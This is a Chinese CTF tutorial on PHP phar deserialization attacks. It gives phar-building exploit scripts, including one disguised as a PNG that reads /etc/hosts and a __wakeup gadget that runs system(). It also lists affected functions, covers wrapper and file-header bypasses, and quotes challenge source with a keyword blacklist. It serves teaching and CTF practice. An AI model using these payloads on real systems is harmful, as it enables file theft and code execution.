入门Phar反序列
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://。 例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
phar://也是流包装的一种
phar原理
stub: phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest: phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content: 被压缩文件的内容
signature (可空): 签名,放在末尾。
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
如何生成一个phar文件?下面给出一个参考例子
<?php
class Test {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
漏洞利用条件
-
phar文件要能够上传到服务器端。
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:、/、phar等特殊字符没有被过滤。
受影响的函数
知道创宇测试后受影响的函数列表:

实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38
当然为了阅读方便,这里便把它整理过来
//exif
exif_thumbnail
exif_imagetype
//gd
imageloadfont
imagecreatefrom***系列函数
//hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
// file/url
get_meta_tags
get_headers
//standard
getimagesize
getimagesizefromstring
// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar
//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
小Trick
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。 php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过
1、$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif
比如
<?php
class Easytest{
protected $test='1';
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
}
$test = new EasyTest;
echo urlencode(serialize($test))."\n";
$payload = new Main;
$payload->url = "file:///etc/hosts";//文件流读取文件
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub($png_header.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();
rename("exp.phar","exp.png");
?>
例题CISCN2019 Dropbox
例题[NCTF2019]phar matches everything
[SWPUCTF 2018]SimplePHP
-
考点
-
1.Phar://协议具有反序列化的漏洞(这道题没有 unserialize()函数),在文件上传中常用来读取上传的文件
-
2.POP 链中一定要知道的一些魔术方法:
__destruct() __toString() __get(),尤其__destruct()是事故多发地
file 文件任意读,重要文件 class.php 和 upload_file.php class.php
-
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test; //!!!
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString() //!!
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key) //!!!
{
return $this->get($key);
}
public function get($key)//!!!
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)//!!!
{
$text = base64_encode(file_get_contents($value));
return $text;
}